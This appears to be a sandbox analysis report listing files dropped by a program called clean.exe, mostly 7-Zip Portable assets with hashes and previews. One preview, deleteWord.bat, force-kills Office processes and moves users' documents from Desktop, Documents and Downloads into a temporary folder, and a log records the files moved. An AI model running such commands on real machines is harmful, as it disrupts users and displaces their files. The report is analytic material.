                                                                                                                                                                                                                                                                  SHA-256:306AB81724FD5B7455F1E02FD73B59551778A58014A7BC680845818E096A7856
                                                                                                                                                                                                                                                                  SHA-512:763F78343F13F51AB074FA7BF227525DBB9CB67CB08C14A2E4532887C6EE514F26880ADF34BFF2899AEAF2580C79831A85A8F2CCA49B95DB59D87EE78325BBC1
                                                                                                                                                                                                                                                                  Malicious:false
                                                                                                                                                                                                                                                                  Preview:Your 7-zip settings registry files will go here

                                                                                                                                                                                                                                                                  C:\Users\user\TMP\cr-20241021-53901\clean\Zip\App\readme.txt

                                                                                                                                                                                                                                                                  Download File
                                                                                                                                                                                                                                                                  Process:C:\Users\user\TMP\cr-20241021-53901\clean.exe
                                                                                                                                                                                                                                                                  File Type:ASCII text, with no line terminators
                                                                                                                                                                                                                                                                  Category:dropped
                                                                                                                                                                                                                                                                  Size (bytes):171
                                                                                                                                                                                                                                                                  Entropy (8bit):4.049215927049383
                                                                                                                                                                                                                                                                  Encrypted:false
                                                                                                                                                                                                                                                                  SSDEEP:3:SMbKyPXtH+XR5WSPKBGUAMQxF+YEJRi6Xt2vGARFKGRjZUGzOSbmSWL:DdH+XR5W5QUZQDuJRPt6zKGRjdqumR
                                                                                                                                                                                                                                                                  MD5:122BF97CA40975386C018CC1A73F9EC3
                                                                                                                                                                                                                                                                  SHA1:A9FB07D2F69C490B7BC8F73BA1E267477DF7965B
                                                                                                                                                                                                                                                                  SHA-256:B17669265E667C9273F538CA69DB10E9627156FA2A8E4DB5CBF41D9C9F88B344
                                                                                                                                                                                                                                                                  SHA-512:72A8A634ABD74AA37D0AB19539E00912959C787128BEA5699F7E5CD46DF25E277D9A198D9150D4530FC60A7892C6B2F92B230E7165997FCB101763F2D1BF84D4
                                                                                                                                                                                                                                                                  Malicious:false
                                                                                                                                                                                                                                                                  Preview:The files in this directory are necessary for 7-zip Portable to function. There is normally no need to directly access or alter any of the files within these directories.

                                                                                                                                                                                                                                                                  C:\Users\user\TMP\cr-20241021-53901\clean\Zip\Other\Help\images\Donation_Button.png

                                                                                                                                                                                                                                                                  Download File
                                                                                                                                                                                                                                                                  Process:C:\Users\user\TMP\cr-20241021-53901\clean.exe
                                                                                                                                                                                                                                                                  File Type:PNG image data, 110 x 23, 8-bit/color RGBA, non-interlaced
                                                                                                                                                                                                                                                                  Category:dropped
                                                                                                                                                                                                                                                                  Size (bytes):1742
                                                                                                                                                                                                                                                                  Entropy (8bit):7.870082133672729
                                                                                                                                                                                                                                                                  Encrypted:false
                                                                                                                                                                                                                                                                  SSDEEP:24:aoPfexW3T0UjeA2fijjxMhDnUcO7QLgYNw69rFbyQCwbozK8yxkxuE3u5F3pKXTP:aw3T0GeA2yMhocrVN5uXwNF0FGpU
                                                                                                                                                                                                                                                                  MD5:BAB4268C0BC3B3051FF38B21DBE35A44
                                                                                                                                                                                                                                                                  SHA1:EA7ADBBD731BB1747AFC9DA72340A0444B29ABBE
                                                                                                                                                                                                                                                                  SHA-256:9ABC52858AE4DDDA224EE9D229CB38D252AE9BA46633DA4AC14FADA25DD489C6
                                                                                                                                                                                                                                                                  SHA-512:F004E9BD6CEF147B80A989FE093AB5370220C02306468218A2081C02FD77847D75CA4FBA835E30D677336A577F97336790BBEC97C6745AF387A09E9A8A7A2629
                                                                                                                                                                                                                                                                  Malicious:false
                                                                                                                                                                                                                                                                  Preview:.PNG........IHDR...n..........vz.....tEXtSoftware.Adobe ImageReadyq.e<...pIDATx....LUU..O.6...'>h*.0..Qb....)...\....L.~.)....9...~..6....e..57.lP@...XV..s......}...y.~..6.{.v8...9....O.u."..@.s:..R.........G..(V.3..(.>~b*...d.-.o...-.6..b...gV.3a...j9pQ4..c...z.+a..+....}.<...W..(VV...z{C.4...............{r:....B&c..z....*f.2c.\..`|.....Z..}.3.n....4...>.?..~;.CH....LXt.........7p.5..7....L...-.3.rOv.<p. ..T..'=..]...iO.y...G..zO.N....sL.vvl..+ 69.....vyI...D!..?..c.....s.L..:D.o..........p.M.\.k....rf.=%....PW...54..c..zZ7.`..3e..}..z....U..>.4...A........g.....,Y..Q.......`>...U..K......v.....j..eOZ.,.S?&;...~?....q...F...8X'......d..5M3.wn..VD......5D....p.?....w2]UU3.T..'`.=.....;;a..M<.7.Q...^t...../...,C......:}K....+..q...%..c(..1x.lZ.H6...z.].Fx...^v=}..e..'y.7..G.......i.....q.._X..N.PA........s...^..S3.......>..1...Q...WVC../.2.3_./.....d..h.W..s...L'..Lw.^....D...s...mmF...}..U.A=.y...1....6|g...).'.".Y...*s..~-(...A.R..jLZw.

                                                                                                                                                                                                                                                                  C:\Users\user\TMP\cr-20241021-53901\clean\Zip\Other\Help\images\Favicon.ico

                                                                                                                                                                                                                                                                  Download File
                                                                                                                                                                                                                                                                  Process:C:\Users\user\TMP\cr-20241021-53901\clean.exe
                                                                                                                                                                                                                                                                  File Type:MS Windows icon resource - 1 icon, 16x16, 32 bits/pixel
                                                                                                                                                                                                                                                                  Category:dropped
                                                                                                                                                                                                                                                                  Size (bytes):1150
                                                                                                                                                                                                                                                                  Entropy (8bit):3.194558365770505
                                                                                                                                                                                                                                                                  Encrypted:false
                                                                                                                                                                                                                                                                  SSDEEP:12:GxtRygJlM7LVtY7YMCQrCE+4hoJbmLbJk:ARvl0VaoQr8ntGJk
                                                                                                                                                                                                                                                                  MD5:049A352AABB8CED245CEECB94C0A0B2D
                                                                                                                                                                                                                                                                  SHA1:775B5B199E8312E18F0655DAA7B25844FD768602
                                                                                                                                                                                                                                                                  SHA-256:B06B53681EA0BA09DDAA8F8066C990CF5A7C01E65A1910E687A993AC375D1781
                                                                                                                                                                                                                                                                  SHA-512:0824BF2C5C4C1EE4E94091B1F4EA61B1385C03C2DC6B678A278B0A49CC9515ED2BD68C847AEF292DFB338A28E5937B84F6076E6D78D3F6B160671091EFA10609
                                                                                                                                                                                                                                                                  Malicious:false
                                                                                                                                                                                                                                                                  Preview:............ .h.......(....... ..... ............................................/.....................<..................................................................................................................................................................k...B...B...m...................................+.......s...........................T.......................6...........................................3...........b.......................................................;...F.............^...........T...g...D....................................................................r................................................................................................................................K..................................................................-...-...-...,...C.......:.......j.....................................................................................................................................{..........................

                                                                                                                                                                                                                                                                  C:\Users\user\TMP\cr-20241021-53901\clean\Zip\Other\Help\images\Help_Background_Footer.png

                                                                                                                                                                                                                                                                  Download File
                                                                                                                                                                                                                                                                  Process:C:\Users\user\TMP\cr-20241021-53901\clean.exe
                                                                                                                                                                                                                                                                  File Type:PNG image data, 10 x 16, 8-bit/color RGB, non-interlaced
                                                                                                                                                                                                                                                                  Category:dropped
                                                                                                                                                                                                                                                                  Size (bytes):168
                                                                                                                                                                                                                                                                  Entropy (8bit):6.088803983886217
                                                                                                                                                                                                                                                                  Encrypted:false
                                                                                                                                                                                                                                                                  SSDEEP:3:yionv//thPlHvtntCZRthwkBDsTBZtv9L//gbxCRQe1e//VHgNqUMwF/2g1p:6v/lhPo/nDspvmb8RQe1IgN1MwFdp
                                                                                                                                                                                                                                                                  MD5:6AF4A82693A403B0D0AFDE16972466F5
                                                                                                                                                                                                                                                                  SHA1:1AB8A3D0CF22CDE23173B6B41521377C0FDBEEA8
                                                                                                                                                                                                                                                                  SHA-256:88C0749CC9CA14CCEA1AF39DFFACCF7B7C35E5B5603B1E451FE7FCE508252480
                                                                                                                                                                                                                                                                  SHA-512:E6586C23BC63DA9CC6B98A44D088DB4DFCDA193836AFF2374210827626E79023AA408EEC13DDFD61DD928304607F49339CCF81F4498C15081C1CA60A813DF6C4
                                                                                                                                                                                                                                                                  Malicious:false
                                                                                                                                                                                                                                                                  Preview:.PNG........IHDR...............y.....tEXtSoftware.Adobe ImageReadyq.e<...JIDATx.b`...WXZ.f....>..>....;^.......O....5...Y.P$.1.?ZX....4#.3... ...:..r.......IEND.B`.

                                                                                                                                                                                                                                                                  C:\Users\user\TMP\cr-20241021-53901\clean\Zip\Other\Help\images\Help_Background_Header.png

                                                                                                                                                                                                                                                                  Download File
                                                                                                                                                                                                                                                                  Process:C:\Users\user\TMP\cr-20241021-53901\clean.exe
                                                                                                                                                                                                                                                                  File Type:PNG image data, 10 x 42, 8-bit/color RGB, non-interlaced
                                                                                                                                                                                                                                                                  Category:dropped
                                                                                                                                                                                                                                                                  Size (bytes):269
                                                                                                                                                                                                                                                                  Entropy (8bit):6.8740002805791995
                                                                                                                                                                                                                                                                  Encrypted:false
                                                                                                                                                                                                                                                                  SSDEEP:6:6v/lhPTnDspO68hvS6IBe0ZZUngZlq+2dp:6v/7Uk68FS6c3UngZlq+2z
                                                                                                                                                                                                                                                                  MD5:A1EAEE3CCB8169B680415D713720A2FA
                                                                                                                                                                                                                                                                  SHA1:8CF2EFF4FAA05A34BFB0B641B8765773C7AC2ED6
                                                                                                                                                                                                                                                                  SHA-256:3959381AAB4543593FA69FA7980946DBF0B0BAB25924C8B38F6E88F7F69B9C19
                                                                                                                                                                                                                                                                  SHA-512:43947E320C02CC94A3FE78B4CFA86C47554048867894762E67ACFFAF7611A2E78B0BDE4BCE564775C119855785CAE4A17475A1572CA8C3AC869B5ABD0DEE4D99
                                                                                                                                                                                                                                                                  Malicious:false
                                                                                                                                                                                                                                                                  Preview:.PNG........IHDR.......*.......].....tEXtSoftware.Adobe ImageReadyq.e<....IDATx..A.. .E;-.0..D.&...,..F.....|[.T..&.;x.....y./?.rn...q$j..tkq).4....T<.g....&...o.p5.........QJ.,j....q..fn.Uu..X.c..0.O..He.Z...................2L..`...}..[...1.[u........IEND.B`.

                                                                                                                                                                                                                                                                  C:\Users\user\TMP\cr-20241021-53901\clean\Zip\Other\Help\images\Help_Logo_Top.png

                                                                                                                                                                                                                                                                  Download File
                                                                                                                                                                                                                                                                  Process:C:\Users\user\TMP\cr-20241021-53901\clean.exe
                                                                                                                                                                                                                                                                  File Type:PNG image data, 229 x 47, 8-bit/color RGBA, non-interlaced
                                                                                                                                                                                                                                                                  Category:dropped
                                                                                                                                                                                                                                                                  Size (bytes):2588
                                                                                                                                                                                                                                                                  Entropy (8bit):7.87057074717827
                                                                                                                                                                                                                                                                  Encrypted:false
                                                                                                                                                                                                                                                                  SSDEEP:48:NaRbpMYHmHcRu3nh77X9/aoy/b1MUOgmLFu2J:YRbqHSI7TZ/RgSuI
                                                                                                                                                                                                                                                                  MD5:0F024E316973B9D87F3F4C3A1F33C448
                                                                                                                                                                                                                                                                  SHA1:8CCAF998D7B14731829C0D1104D6FA7A1ADC7247
                                                                                                                                                                                                                                                                  SHA-256:46A1D50A869DC7E2C0511CFBC77A15F0092AD9FBA0B068736F1E512683A47EE4
                                                                                                                                                                                                                                                                  SHA-512:FB6174E2CE62922484CBC90A0FC85102AE2D721BC91E90BDCBD7767D10B8501A0D61DFC057BA016A0CBE6AAD3EA0EC28A1EA1ED230B84EED1F9B7F4CC811B4EE
                                                                                                                                                                                                                                                                  Malicious:false
                                                                                                                                                                                                                                                                  Preview:.PNG........IHDR......./.............tEXtSoftware.Adobe ImageReadyq.e<....IDATx....UU......9.<t)/.....o!.....V>"..P.b..%E..A.[....e.0E4E..P.[......0002^..[.;...{.Ck....Z.5....>......o.I.......pPdC`0.(.....`0Q......`.4..&J......Sx..4a..Z.....g.K.O..6....T..x.F8Ax..WB.e....`....~.I._.....|.....L...g...v..y.5..7..L.m.1...;.....'..mj.&..q..3..W.OX...v...6.-.#...K.~S._.:..........b.....^...^.7.I..........}...,\.1.L.8?..$|P..s.L...U.2.fO..g.n+tQ.$.)..../I.....y..S..._....!.d2(,..9..XeB...!tw..i....b.p..X..,C.......Qxp..'.;.E.2.A..f....Y4.7..(..~.w..8V..,.s...smS....'.N\..b.8....aCBL...Pt.eJs\.*....H;5d.<.|E.m..VT.ll.8..Yx.E1.%...W.j....$a....>...(.!h......~V..a.G(.....IL.C.i.!..B?....0..+...M.l.._........5yu.pWL...g.'.....Wx...`.T./...|..~.......\.71...\.z...>.....ou.w..(f.ua.&."9..U.w.mi&....N.Ep.q.j..@...g.m.L_5Wq.m.yx.....*5......--..*.N...u...\....g:.7.O..*.!.-<Z8@x...G...........z_.D...7^8NX!...h.1.xW5........'<S.I8...za....7........v.a^?/

                                                                                                                                                                                                                                                                  C:\Users\user\TMP\cr-20241021-53901\clean\Zip\Other\Source\AppNamePortable.ini

                                                                                                                                                                                                                                                                  Download File
                                                                                                                                                                                                                                                                  Process:C:\Users\user\TMP\cr-20241021-53901\clean.exe
                                                                                                                                                                                                                                                                  File Type:ASCII text, with CRLF line terminators
                                                                                                                                                                                                                                                                  Category:dropped
                                                                                                                                                                                                                                                                  Size (bytes):244
                                                                                                                                                                                                                                                                  Entropy (8bit):4.464902964389538
                                                                                                                                                                                                                                                                  Encrypted:false
                                                                                                                                                                                                                                                                  SSDEEP:6:IQE7Em2VPVJSgBYlyGqMwIjAIMLyJQBABCXh5XMWJk/71NLyJQBAK:It2hrY8fjI8IMee2cXhX28e2K
                                                                                                                                                                                                                                                                  MD5:8634C50B01D5EA4ADC0D9ECA692CBB5B
                                                                                                                                                                                                                                                                  SHA1:CE39EBE17200463B7625A07288BAE88C688F0AB8
                                                                                                                                                                                                                                                                  SHA-256:58053A49F7C9D07FACEB35C298022D31DA5B00B8840E611074475B41CEB9B7E9
                                                                                                                                                                                                                                                                  SHA-512:C170725BABFB7B1FE5461FB6016341C16382C3225E5393803219C79C91C5A8888FC9C236DCE2FCB4F27BDB5BAF0F04D32ADEA03A7DDED52A56A7BF5B67C07861
                                                                                                                                                                                                                                                                  Malicious:false
                                                                                                                                                                                                                                                                  Preview:AdditionalParameters=..DisableSplashScreen=false..RunLocally=false....# The above options are explained in the included readme.txt..# This INI file is an example only and is not used unless it is placed as described in the included readme.txt..

                                                                                                                                                                                                                                                                  C:\Users\user\TMP\cr-20241021-53901\clean\Zip\Other\Source\LauncherLicense.txt

                                                                                                                                                                                                                                                                  Download File
                                                                                                                                                                                                                                                                  Process:C:\Users\user\TMP\cr-20241021-53901\clean.exe
                                                                                                                                                                                                                                                                  File Type:ASCII text, with CRLF line terminators
                                                                                                                                                                                                                                                                  Category:dropped
                                                                                                                                                                                                                                                                  Size (bytes):18431
                                                                                                                                                                                                                                                                  Entropy (8bit):4.713052598758755
                                                                                                                                                                                                                                                                  Encrypted:false
                                                                                                                                                                                                                                                                  SSDEEP:384:H4j2PmwE3b6k/iAVX/dUY2ZpEGMOZ77oPpDqHZ:H46uh1iYWrTXoPpDqHZ
                                                                                                                                                                                                                                                                  MD5:FFA10F40B98BE2C2BC9608F56827ED23
                                                                                                                                                                                                                                                                  SHA1:DC8F2E570BF431427DBC3BAB9D4D551B53A60208
                                                                                                                                                                                                                                                                  SHA-256:189B1AF95D661151E054CEA10C91B3D754E4DE4D3FECFB074C1FB29476F7167B
                                                                                                                                                                                                                                                                  SHA-512:1420DA3215ED30AFCF413935E20404CABE0723822C728EA29DCB9699533355EF1BEE17660FACDB55655241C2DB30A7314D8AD6A4A3F72576B2721F522D487AA9
                                                                                                                                                                                                                                                                  Malicious:false
                                                                                                                                                                                                                                                                  Preview: GNU GENERAL PUBLIC LICENSE.. Version 2, June 1991.... Copyright (C) 1989, 1991 Free Software Foundation, Inc.,.. 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA.. Everyone is permitted to copy and distribute verbatim copies.. of this license document, but changing it is not allowed..... Preamble.... The licenses for most software are designed to take away your..freedom to share and change it. By contrast, the GNU General Public..License is intended to guarantee your freedom to share and change free..software--to make sure the software is free for all its users. This..General Public License applies to most of the Free Software..Foundation's software and to any other program whose authors commit to..using it. (Some other Free Software Foundation software is covered by..the GNU Lesser General Public License instead.) You can apply it to..your programs, too..... When we speak of free software, we are refe

                                                                                                                                                                                                                                                                  C:\Users\user\TMP\cr-20241021-53901\clean\Zip\Other\Source\PortableApps.comInstallerCustom.nsh

                                                                                                                                                                                                                                                                  Download File
                                                                                                                                                                                                                                                                  Process:C:\Users\user\TMP\cr-20241021-53901\clean.exe
                                                                                                                                                                                                                                                                  File Type:ASCII text, with CRLF line terminators
                                                                                                                                                                                                                                                                  Category:dropped
                                                                                                                                                                                                                                                                  Size (bytes):342
                                                                                                                                                                                                                                                                  Entropy (8bit):5.222248752651022
                                                                                                                                                                                                                                                                  Encrypted:false
                                                                                                                                                                                                                                                                  SSDEEP:6:gBXPmpGO7zeJIj56gUUc8BXPuLwNMi2eJIj56gUUNzmg83L9u2gALtBXPuLwNkw5:qXPmB7qJCVXPuLwF2eJCBKV79uhuDXPb
                                                                                                                                                                                                                                                                  MD5:C7FB78D2E12FB1FB26A42FE70C4C969A
                                                                                                                                                                                                                                                                  SHA1:A830E6869414CE0C66AEE573087FCE8B11BEC479
                                                                                                                                                                                                                                                                  SHA-256:F6311C9E200CA97D7CF7523BA27707140E2343D634B4DA1D8379C34C5E787504
                                                                                                                                                                                                                                                                  SHA-512:933B339D1DDCF94C0542BBD67009A0E1AE059EED17C0D3616854CC2A9BFB75323DF2A1F5131A8D927796AC63DC0314AA0BCAE579F2EC09BE78848F0D92FE6B0C
                                                                                                                                                                                                                                                                  Malicious:false
                                                                                                                                                                                                                                                                  Preview:!macro CustomCodePreInstall...IfFileExists "$INSTDIR\Data\settings\7zip_portable.reg" "" CustomCodePreInstallEnd....ReadINIStr $0 "$INSTDIR\Data\settings\7zip_portable.reg" "HKEY_CURRENT_USER\Software\7-zip\FM" '"FolderShortcuts"'....StrCmp $0 "" "" CustomCodePreInstallEnd.....RMDir /r "$INSTDIR\Data".....CustomCodePreInstallEnd:..!macroend

                                                                                                                                                                                                                                                                  C:\Users\user\TMP\cr-20241021-53901\clean\Zip\Other\Source\Readme.txt

                                                                                                                                                                                                                                                                  Download File
                                                                                                                                                                                                                                                                  Process:C:\Users\user\TMP\cr-20241021-53901\clean.exe
                                                                                                                                                                                                                                                                  File Type:ASCII text, with CRLF line terminators
                                                                                                                                                                                                                                                                  Category:dropped
                                                                                                                                                                                                                                                                  Size (bytes):2185
                                                                                                                                                                                                                                                                  Entropy (8bit):4.677311269255959
                                                                                                                                                                                                                                                                  Encrypted:false
                                                                                                                                                                                                                                                                  SSDEEP:48:poqWahdxHxG2NlNKxMT9s72bpbGTY/ZzywG2lMI:m3ah3x5Tkxo931GTYZzywG4MI
                                                                                                                                                                                                                                                                  MD5:D53916B8C0F0C631BC20D918ACB352F8
                                                                                                                                                                                                                                                                  SHA1:ADDB6CA064843F36A131D9D4FEC2F4E3975A8417
                                                                                                                                                                                                                                                                  SHA-256:6341F1028294EA3ACFD7B8C7BC57D742CF44E0575FD38E912BA8F3C8CAB63CC5
                                                                                                                                                                                                                                                                  SHA-512:C4A1F5EEE630688ED77C441F16C662211AAA53581E8F3068BA3D3E9D6F3DC7CD43AFD287C6295BEE672C4B16DFFDDFAE81BB8C2C101FD352AE7E41357CD47001
                                                                                                                                                                                                                                                                  Malicious:false
                                                                                                                                                                                                                                                                  Preview:The base application's source code is available from the portable app's..homepage listed in the help.html file (if applicable).....Details of most other things are available there as well.....LICENSE..=======....This package's installer and launcher are released under the GPL. The launcher..is the PortableApps.com Launcher, available with full source and documentation..from http://portableapps.com/development. We request that developers using the..PortableApps.com Launcher please leave this directory intact and unchanged.....USER CONFIGURATION..==================....Some configuration in the PortableApps.com Launcher can be overridden by the..user in an INI file next to 7-ZipPortable.exe called 7-ZipPortable.ini...If you are happy with the default options, it is not necessary, though. There..is an example INI included with this package to get you started. To use it,..copy AppNamePortable.ini from this directory to 7-ZipPortable.ini next to..7-ZipPortable.exe. The options in the INI f

                                                                                                                                                                                                                                                                  C:\Users\user\TMP\cr-20241021-53901\clean\Zip\help.html

                                                                                                                                                                                                                                                                  Download File
                                                                                                                                                                                                                                                                  Process:C:\Users\user\TMP\cr-20241021-53901\clean.exe
                                                                                                                                                                                                                                                                  File Type:HTML document, ASCII text
                                                                                                                                                                                                                                                                  Category:dropped
                                                                                                                                                                                                                                                                  Size (bytes):4935
                                                                                                                                                                                                                                                                  Entropy (8bit):5.350219590773396
                                                                                                                                                                                                                                                                  Encrypted:false
                                                                                                                                                                                                                                                                  SSDEEP:96:ixfpwdNzexlEDFJzeow3tqN19oSrdfd7ddixmUu:ixxUtUc7vUu
                                                                                                                                                                                                                                                                  MD5:A74C9BE183A823DF6BDF76130184516B
                                                                                                                                                                                                                                                                  SHA1:C1758F5E6AD5FBE0E967493B97BC933CB13EA096
                                                                                                                                                                                                                                                                  SHA-256:19458E8871F57A2DB4FD6BEECFE3E2C80B095A892E384FDC7D871811A1BF48C9
                                                                                                                                                                                                                                                                  SHA-512:A882988319295BC602987D663663901AA30A97BA5760B286C09A14C06A8E7990E6B5602B315B8C6F33326246CF2832E5D733CC16ED1EA34FD6CD34A09BEFE41B
                                                                                                                                                                                                                                                                  Malicious:false
                                                                                                                                                                                                                                                                  Preview:<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd">.<html lang="en-US"><head><title>7-Zip Portable Help</title>..<link rel="alternate" type="application/rss+xml" title="PortableApps.com" href="https://portableapps.com/feeds/general">..<link rel="SHORTCUT ICON" href="Other/Help/images/favicon.ico">.<style>body {..font-family: Verdana,Arial,Helvetica,sans-serif;..font-size: 76%;..color: #000;..margin: 20px;..background: #E6E8EA;..text-align: center;.}.a.{..color: #B31616;..font-weight: bold;.}.a:link {..}.a:visited {..}.a:active {..}.a:hover {..color: red;..}.h1, h2, h3, h4, h5, h6 {..font-family: Arial, sans-serif;..font-weight: normal;.}.h1 {..color: #B31616;..font-weight: bold;..letter-spacing: -2px;..font-size: 2.2em;..border-bottom: 1px solid silver;..padding-bottom: 5px;..}.h2 {..font-size: 1.5em;..border-bottom: 1px solid silver;..padding-bottom: 3px;..clear: both;..}.h3 {..font-size: 1.2em;..}.h4 {..font-size: 1.1em;..}.h5 {..fon

                                                                                                                                                                                                                                                                  C:\Users\user\TMP\cr-20241021-53901\clean\deleteWord.bat

                                                                                                                                                                                                                                                                  Download File
                                                                                                                                                                                                                                                                  Process:C:\Users\user\TMP\cr-20241021-53901\clean.exe
                                                                                                                                                                                                                                                                  File Type:ASCII text, with CRLF line terminators
                                                                                                                                                                                                                                                                  Category:dropped
                                                                                                                                                                                                                                                                  Size (bytes):3424
                                                                                                                                                                                                                                                                  Entropy (8bit):5.139351023205493
                                                                                                                                                                                                                                                                  Encrypted:false
                                                                                                                                                                                                                                                                  SSDEEP:48:5/gTRFNLIv/ucCZdKrhLdIRCpP0CuiJWB2D/uVuhjumueuT84s:BuLoUmGUhCvnPs
                                                                                                                                                                                                                                                                  MD5:1FCE680DFA10B7049B899337B68C3CA4
                                                                                                                                                                                                                                                                  SHA1:DBB45E762B40034AA128BFE9AAD2AC6F20114F4C
                                                                                                                                                                                                                                                                  SHA-256:18B93A16656879654735088DA76E45D6FD8CE2A0D6A8CC157E758DBADC9A7940
                                                                                                                                                                                                                                                                  SHA-512:ED6FD8261B835A2357F53ED53B2DAEF3C017D79B4D76101E7E553E1BE24931E73AD94D4CA087E1BD9E7D6CBBC3005B6EF7E03932F5D2548A07F6B5ED2FF08590
                                                                                                                                                                                                                                                                  Malicious:false
                                                                                                                                                                                                                                                                  Preview:echo start %0 %1 %2..taskkill /IM WINWORD.EXE /T /F..taskkill /IM EXCEL.EXE /T /F..taskkill /IM SOFFICE.BIN /T /F....REM sleep 2 seconds..ping 127.0.0.1 -n 2 > nul......set dir='%1'..if %dir%=='' mkdir %HOMEPATH%\TMP_tmp..if %dir%=='' set dir=%HOMEPATH%\TMP_tmp\cr-%date:~6,4%%date:~3,2%%date:~0,2%-%time:~0,2%%time:~3,2%%time:~6,2%..echo %dir%....mkdir %dir%..mkdir %dir%\Desktop..mkdir %dir%\Documents..mkdir %dir%\Downloads....REM WORD..move %HOMEPATH%\Desktop\*.doc %dir%\Desktop\...move %HOMEPATH%\Documents\*.doc %dir%\Documents\...move %HOMEPATH%\Downloads\*.doc %dir%\Downloads\.....move %HOMEPATH%\Desktop\*.docx %dir%\Desktop\...move %HOMEPATH%\Documents\*.docx %dir%\Documents\...move %HOMEPATH%\Downloads\*.docx %dir%\Downloads\.....move %HOMEPATH%\Desktop\*.rtf %dir%\Desktop\...move %HOMEPATH%\Documents\*.rtf %dir%\Documents\...move %HOMEPATH%\Downloads\*.rtf %dir%\Downloads\.....move %HOMEPATH%\Desktop\*.thmx %dir%\Desktop\...move %HOMEPATH%\Documents\*.thmx %dir%\Documents\...mov

                                                                                                                                                                                                                                                                  C:\Users\user\TMP\cr-20241021-53901\clean\deleteWord.err

                                                                                                                                                                                                                                                                  Download File
                                                                                                                                                                                                                                                                  Process:C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                                                                                                                  File Type:ASCII text, with CRLF line terminators
                                                                                                                                                                                                                                                                  Category:dropped
                                                                                                                                                                                                                                                                  Size (bytes):2776
                                                                                                                                                                                                                                                                  Entropy (8bit):4.382918820597597
                                                                                                                                                                                                                                                                  Encrypted:false
                                                                                                                                                                                                                                                                  SSDEEP:48:dI8IhIUiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiixK4K4K4K4K42:KfucK4K4K4K4K42
                                                                                                                                                                                                                                                                  MD5:9B4B62EADF43A7D56E6FC4F47F8208E2
                                                                                                                                                                                                                                                                  SHA1:701916F33FDF88A5AC58180ACBB5386A9F0890CD
                                                                                                                                                                                                                                                                  SHA-256:A480E0B82176C31028A28828F2243D87C2895A2FC83568E44EC3BBAC13809C78
                                                                                                                                                                                                                                                                  SHA-512:41EC6CC3F0B9D9C5441EF1ADC0EF86C43D734FA15C89CEF3F2A30AD05337144572F5870A126C793EC42ADCB4E4DC13B0A686F5CFD68AF97796550F51DC60536F
                                                                                                                                                                                                                                                                  Malicious:false
                                                                                                                                                                                                                                                                  Preview:ERROR: The process "WINWORD.EXE" not found...ERROR: The process "EXCEL.EXE" not found...ERROR: The process "SOFFICE.BIN" not found...A duplicate file name exists, or the file..cannot be found...A duplicate file name exists, or the file..cannot be found...A duplicate file name exists, or the file..cannot be found...A duplicate file name exists, or the file..cannot be found...A duplicate file name exists, or the file..cannot be found...A duplicate file name exists, or the file..cannot be found...A duplicate file name exists, or the file..cannot be found...A duplicate file name exists, or the file..cannot be found...A duplicate file name exists, or the file..cannot be found...A duplicate file name exists, or the file..cannot be found...A duplicate file name exists, or the file..cannot be found...A duplicate file name exists, or the file..cannot be found...A duplicate file name exists, or the file..cannot be found...A duplicate file name exists, or the file..cannot be found...A duplicate f

                                                                                                                                                                                                                                                                  C:\Users\user\TMP\cr-20241021-53901\clean\deleteWord.log

                                                                                                                                                                                                                                                                  Download File
                                                                                                                                                                                                                                                                  Process:C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                                                                                                                  File Type:ASCII text, with CRLF line terminators
                                                                                                                                                                                                                                                                  Category:dropped
                                                                                                                                                                                                                                                                  Size (bytes):1514
                                                                                                                                                                                                                                                                  Entropy (8bit):5.23971145866166
                                                                                                                                                                                                                                                                  Encrypted:false
                                                                                                                                                                                                                                                                  SSDEEP:24:P7zY5JAOl7EmX/nhCE/SEJG4Jkmn4e4k6kJJwM6MY/p515ytUt:P7zY5rl7EmvhCEKEJG4ym4ejxJdtY/jl
                                                                                                                                                                                                                                                                  MD5:BCC6A0E2C14B9549CD6F215AEA3A95BB
                                                                                                                                                                                                                                                                  SHA1:F335894186A8404BD27D39ECF36B6C804A5E4D6D
                                                                                                                                                                                                                                                                  SHA-256:D45288EFC8C41A8B472A49AA8D12FCA4DDC8F5EA735A63BF421D03F3817D8836
                                                                                                                                                                                                                                                                  SHA-512:C74E427C7406417A8E018D067655AB0E4BAF18F27326EF13755CFBC0CED56B886F2B4EEE3F5410E117E825D32AB111CB72CA7357D0C2B248B750BB525824A6F6
                                                                                                                                                                                                                                                                  Malicious:false
                                                                                                                                                                                                                                                                  Preview:start \Users\user\TMP\cr-20241021-53901\clean\deleteWord.bat \Users\user\TMP\cr-20241021-53901 ..'\Users\user\TMP\cr-20241021-53901'..C:\Users\user\Desktop\IVHSHTCODI.docx..C:\Users\user\Desktop\JDSOXXXWOA.docx..C:\Users\user\Desktop\UQMPCTZARJ.docx.. 3 file(s) moved...C:\Users\user\Documents\IVHSHTCODI.docx..C:\Users\user\Documents\JDSOXXXWOA.docx..C:\Users\user\Documents\UQMPCTZARJ.docx.. 3 file(s) moved...C:\Users\user\Downloads\IVHSHTCODI.docx..C:\Users\user\Downloads\JDSOXXXWOA.docx..C:\Users\user\Downloads\UQMPCTZARJ.docx.. 3 file(s) moved...C:\Users\user\Desktop\JDSOXXXWOA.xlsx..C:\Users\user\Desktop\MQAWXUYAIK.xlsx..C:\Users\user\Desktop\TTCBKWZYOC.xlsx.. 3 file(s) moved...C:\Users\user\Documents\JDSOXXXWOA.xlsx..C:\Users\user\Documents\MQAWXUYAIK.xlsx..C:\Users\user\Documents\TTCBKWZYOC.xlsx.. 3 file(s) moved...C:\Users\user\Downloads\JDSOXXXWOA.xlsx..C:\Users\user\Downloads\MQAWXUYAIK.xlsx..C:\Users\al

                                                                                                                                                                                                                                                                  C:\Users\user\TMP\cr-20241021-53901\log.txt

                                                                                                                                                                                                                                                                  Download File
                                                                                                                                                                                                                                                                  Process:C:\Users\user\TMP\cr-20241021-53901\ariac.exe
                                                                                                                                                                                                                                                                  File Type:ASCII text, with CRLF, LF line terminators
                                                                                                                                                                                                                                                                  Category:dropped
                                                                                                                                                                                                                                                                  Size (bytes):278644
                                                                                                                                                                                                                                                                  Entropy (8bit):5.275064200138802
                                                                                                                                                                                                                                                                  Encrypted:false
                                                                                                                                                                                                                                                                  SSDEEP:768:mqYrVwCECII7wEo1unloVB5UTGFsCzdS6QvyBeqmK8O:p3I21r0TGKmrQvyBevK8O
